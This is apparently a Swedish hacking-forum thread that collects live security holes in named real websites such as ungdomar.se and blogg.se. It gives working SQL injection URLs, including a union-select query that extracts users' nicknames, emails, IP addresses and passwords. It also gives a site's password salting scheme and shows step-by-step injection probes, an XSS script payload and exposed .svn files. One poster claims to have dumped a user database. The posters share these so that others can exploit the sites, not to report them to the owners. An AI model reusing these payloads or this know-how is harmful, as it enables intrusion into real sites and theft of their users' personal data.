Samling av sidor med säkerhetsbrister - Del 2

Ungdomar.se, 52000 nånting användare.

Lösenorden är saltade med användarnamnet i små bokstäver samt en # i slutet.
Alltså: md5(användare#lösenord) = 56be0d77e28694600d649273fa93dcae



http://ungdomar.se/abuse_add.php?gb_text=1032984782340%20union%20all% 20select%20concat(nickname,0x3c62723e,email,0x3c62 723e,last_ip_address,0x3c62723e,password),nickname %20from%20user_data%20WHERE%20user_id=3

ungdomar.se hade också sårbarheter i forumet :P

Ska bli kul om administratören har några sklliZ

Vad tänker du på då? Jag hittade aldrig några fel i forumet, vad jag minns iaf.


Och svar på om någon lyckades dumpa databasen; Ja det gjorde jag. Laddar upp den när jag orkar.

tänkte på en gammal sqli från typ 08

http://runehq.net/databasesearch.php?db=person&query=1&field=%27all

Största fansiten för onlinespelet RuneScape tydligen. Kommer dock inte längre än detta .

Får se om jag orkar kolla på det efter jag scannat nya proxies.
Så jag är bakom 7 proxies.

http://vackrast.se/on/user_home.asp?userid=21167'

Trodde man hade täppt igen såntdär om man har en anävndardatabas med ID's...

www.fostermartinband.com

http://www.fostermartinband.com/index?page=gallery_details&gallery=5

Verkar inte kolla vad man ger i URLen

blogg.se
Är övertygad om att någon här inne lyckas bättre än jag, dock vet jag inte om något skrivs ut på sidan.

http://blogg.se/bloggshoppen/?cfilter=1
Som vanligt

http://blogg.se/bloggshoppen/?cfilter=1 OR 1=1
Fungerar

http://blogg.se/bloggshoppen/?cfilter=1 ORDER BY 1
Order by 1 Fungerar

http://blogg.se/bloggshoppen/?cfilter=1 union all select 1 from users
Fungerar

http://blogg.se/bloggshoppen/?cfilter=1 union all select 1 from röv
Fungerar inte

Därför måste det betyda att det finns ett table som heter users..
Fast ingenting skrivs på sidan
Men någon kanske lyckas bättre än mig?
Kom igen nu

Hittar inget :/.

http://blogg.se/bloggshoppen/?adfilter=%2Fbloggshoppen%2F%3Fcname%3D%26cfilter% 3D0%26pid%3D%26cid%3D%26adfilter%3D&cfilter=1%3E%2 2%3E%3CScRiPt%20%0D%0A%3Ealert%28410165673630%29%3 B%3C/ScRiPt%3E&cname=klader&pid=15&cid=15&page=2

XSS-hål.

Gameplayer.se
http://data.gameplayer.se/filedownload.php?file_id=3'
Loading.se
http://loading.se/grade_games.php?genre_id=-1&release_year=
SQL-fel om man ändrar POST-informationen
Dom ville inte ha min hjälp, så det är lika bra jag skriver det här.

EDIT: Fyller på med saker jag hittar.

http://blogg.se/sites/.svn/entries SVN-fil

http://blogg.se/sites/default/.svn/entries

Märkte att jag citerade istället för ändrade

Är också sårbart mot "PHPSESSID session fixation"